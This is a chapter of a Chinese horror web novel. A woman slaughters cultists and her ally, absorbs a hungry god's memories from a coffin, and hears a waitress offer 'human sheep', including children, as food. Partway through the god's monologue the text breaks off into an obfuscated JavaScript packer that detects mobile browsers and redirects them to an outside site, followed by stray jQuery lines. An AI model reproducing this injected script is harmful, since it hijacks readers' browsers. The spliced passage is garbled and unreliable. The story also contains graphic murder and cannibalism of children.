话音落下的瞬间,他掌心的藤蔓突然疯狂生长,像一道绿色的闪电,径直朝着克利尔的脖子刺去。然而,就在藤蔓穿透克利尔脖子的瞬间,原本翠绿的藤蔓,竟然瞬间变得枯黄、干瘪,随后迅速枯萎下去,化作细碎的粉末,逐渐飘散。


    显然,克利尔作为神明的信徒,身上的血液,对神明赐福的藤蔓,有着致命的克制。


    福林的脸色瞬间沉了下来,眼神里带着几分事情超出掌控的慌张,他猛地转头,看向身后的夏浔,朝着她递了个眼色。


    夏浔微微颔首,没有丝毫犹豫,迅速拔出腰间的匕首,匕首泛着冰冷的寒光,她身形一闪,像一道黑色的影子,径直朝着身边的教徒冲去。


    匕首划过空气,发出细微的破空声,第一个教徒还没反应过来,脖子就被匕首划破一道深深的伤口,鲜血瞬间喷涌而出,他甚至没来得及发出一声惨叫,就直直地倒在了地上,彻底没了气息。


    其他教徒们见状,纷纷惊呼起来,连忙拿起手中的法器,朝着夏浔扑来。夏浔身形灵活,辗转腾挪间,避开了教徒们的攻击,匕首每一次挥动,都能带走一条生命,鲜血溅在她的衣服上,染红了黑色的劲装,她的眼神冰冷,面无表情,动作干脆利落,没有丝毫拖泥带水,仿佛在收割庄稼一般。


    福林则站在原地,双手抱胸,冷眼旁观着这一切,偶尔抬手,用藤蔓缠住冲过来的教徒,却刻意避开他们的血液,只限制他们的动作,留给夏浔解决。


    不到十分钟,墓穴内的十几个教徒,就被夏浔屠杀殆尽,尸体横七竖八地躺在地上,鲜血染红了冰冷的青石板,空气中的血腥味越来越浓,令人作呕。


    看着地上的尸体,福林脸上露出一丝得意的笑容,他快步走到棺材前,眼神里带着浓浓的贪婪与狂热,抬手伸出掌心,又一截翠绿的藤蔓钻了出来,他想要去触碰那口黑色的棺材,想要吸收神明的力量。


    然而,就在他的藤蔓即将触碰到棺材的瞬间,一道冰冷的寒光突然闪过,一把锋利的匕首,径直穿过了他的喉咙。


    福林的身体猛地一僵,脸上的笑容瞬间凝固,他缓缓低下头,看着插在自己喉咙上的匕首,又缓缓转过头,目光死死地盯着身后的夏浔,眼中满是不解与难以置信,嘴角溢出一丝鲜血,声音沙哑而微弱:“为……为什么?我们……同是被放弃者,我明明……愿意分你一半,愿意和你一起……打回蓝星,为什么……”


    寺庙女人的赐福还在生效,即使被匕首刺透要害,他也没有立即死去,只是身体渐渐变得僵硬,血液顺着匕首,一点点滴落下来,染红了地面。他喘着粗气,眼神里带着一丝哀求与不甘,继续断断续续地说道:“神的化身……给了我们力量与自由,我们是……同源,我们即使去了蓝星,也不会受到那边规则的完全束缚,为什么……你要杀我……放过我……”


    夏浔缓缓走上前,低下头,看着他痛苦的模样,轻轻叹息了一声,语气平淡得没有一丝波澜,却带着一丝冰冷的残忍:“可是,我想要全部。”


    话音落下的瞬间,她缓缓用力,手腕微微转动,匕首在他的喉咙里搅动了一下,随后猛地抽出,紧接着,抬手挥出匕首,一道寒光闪过,福林的头颅被硬生生砍下,滚落在地上,眼睛依旧圆睁,满是不解与不甘。失去头颅的身躯,直直地倒在地上,彻底没了气息,掌心的藤蔓也随之枯萎、消散,化作细碎的粉末。


    夏浔擦了擦匕首上的血迹,将匕首收回腰间,抬头看了一眼墙上的时钟——距离传送到蓝星,还有两个小时。她没有丝毫犹豫,走到棺材前,缓缓伸出右手,仿照福林的模样,集中精神,催动体内寺庙女人赐福的力量。片刻后,一截翠绿的藤蔓,从她掌心的血肉中钻出,缓缓生长,朝着那口黑色的棺材,轻轻触碰而去。


    就在藤蔓触碰到棺材的瞬间,棺材表面的祭祀纹路突然亮起一道耀眼的白色光芒,一股强大的力量,顺着藤蔓,径直被吸入夏浔的身体。那股力量冰冷而强大,顺着她的经脉,疯狂地涌向四肢百骸,她只觉得浑身一阵剧痛,意识瞬间被拉入一片无边无际的黑暗之中。


    暗,一片极致的黑暗,没有光影,没有声音,甚至没有时间的概念。在这片无边的黑暗之中,一阵杂乱的祈祷声,由远及近,渐渐清晰起来,那些祈祷声虔诚而狂热,却又夹杂着一丝不易察觉的恐惧,一遍遍在黑暗中回荡,令人心神不宁。


    在祈祷声中,一股强烈的饥饿感,越来越明显,像无数只虫子,在啃噬着她的五脏六腑,一股发自灵魂深处的怒吼,在黑暗中响起,那是属于棺材内神明的意识,疯狂而邪恶:【饿啊,饿啊,给我食物,给我,快给我!!】


    似乎是听到了这股怒吼,周围的祈祷声缓缓停止,一片死寂之中,无数滚烫的鲜血,从上方的“墙壁”上,一点点流淌下来,滴落在她的脸上、身上,带着浓烈的血腥味。不!那不是墙壁!指尖触碰间,冰冷而坚硬,带着熟悉的纹路——那是棺材板!


    自己,竟然是在棺材里!


    血!好多血!滚烫的鲜血顺着棺材板,源源不断地流淌下来,淹没了她的脚踝、膝盖,渐渐漫过胸口,她张了张嘴,鲜血涌入喉咙,带着浓烈的腥甜,多得几乎要喝不完!


    血!好多血!她快要被鲜血淹没了!窒息感瞬间袭来,她下意识地想要呼喊,想要求救——不对,为什么她并不觉得窒息?


    啊!对了!她已经死了!


    属于神明的记忆,疯狂地涌入她的脑海:我的身体已经干枯,我的内脏已经被贪婪的信徒摘除——可鲜血,使我的身体重新充盈,鲜血,就是我的内脏!就是我的力量!我活了!我终于活了!


    【食物!食物!我不只要鲜血,我还要肉!我要新鲜的肉!】


    【可恶啊!你们这些贪婪的信徒,吃掉了所有新鲜的肉,只给我留下冰冷的鲜血!毫不虔诚的信徒!我要惩罚你们!】


    【不!你们是好信徒


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17203611|197309||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    !好多灵魂,好多纯洁的灵魂!哈哈哈哈哈哈,吸食了这些灵魂,我开始有力量了!我快要彻底苏醒了!】


    【再多点!再多点!一天十几个人羊怎么够!你们多吃点!多捕捉点人羊!多给我献祭灵魂!我要变得更强!我要统治一切!】


    【……】


    【不!他们想吃掉我!他们想要抢夺我的力量!别把守护林挪开!别打开棺材!我要杀了你们!我要把你们都变成我的食物!——】


    棺材内蕴含的记忆,混乱而邪恶,充斥着无休止的饥饿感与贪婪,每一段记忆都令人精神错乱,极具侵蚀性,看得人浑身发毛、心神不宁。夏浔强行稳住心神,闭上双眼,集中精神,一点点消化着这些记忆,平复着体内躁动的力量与心底的不适。不知过了多久,她缓缓睁开双眼,眼底的迷茫消失不见,取而代之的是一片清明与冰冷,体内的力量也渐渐稳定下来。


    她站起身,拍了拍身上的灰尘与血迹,转身走出墓穴,沿着楼梯,一步步走上邮轮的第一层——人羊烹饪层。经过刚才的吸收,她的力量变得更加强大,在这艘连胖哥都能算得上高手的邮轮上,她几乎可以说是无敌的。


    夏浔看了一眼墙上的时钟,距离传送还有一个小时。既然还有时间,她也该做些什么,了结这里的一切。她整理了一下身上的劲装,脸上露出一抹淡淡的笑容,毫不犹豫地朝着第一层中央的点餐台,一步步走了过去。


    点餐台后,一个穿着精致制服的女人,脸上挂着标准的微笑,看到夏浔走来,连忙热情地迎了上来,语气恭敬而谄媚:“尊贵的客人,欢迎就餐。这是我们的菜单,您想要什么样的食材呢?我们这里的人羊,都是精心饲养的,绝对新鲜美味。”


    夏浔停下脚步,双手抱胸,语气平淡地问道:“有些什么食材?都给我说说。”


    “好的,您瞧。”女人连忙打开手中的平板,平板屏幕上,全是人羊的照片,一张张照片清晰而残忍,她指着其中一排照片,语气热情地介绍道,“您看,这是鲜嫩的小羊,都是不满三岁的,现杀现吃,保证新鲜。如果您喜欢,宰杀前还可以逗一逗他们,看着他们惊慌失措的样子,吃起来会更有滋味。”


    她又指着另一排照片,笑容依旧甜美:“这是细腻的母羊,都是纯天然蜂蜜和青草饲养的,绝对没有碰过任何不好的东西,肉质细腻,汁水充足,健康又美味,很受女客人的喜欢。”


    “还有这些壮硕的公羊,肉质紧实,很有嚼劲,适合喜欢重口味的客人。”女人的语气越来越热情,眼神里带着几分诡异的狂热,“如果您有特殊需求,我们还有貌美或者帅气的公羊,您可以先使用,等到下船前,再宰杀食用,保证让您满意……”


    “另外,我们还有尚在肚子里的羔羊,可以提前预定,等到足月后,现杀现吃,那滋味,可是极品中的极品……”


    刷——


    女人的话还没有说完,一道冰冷的寒光突然闪过。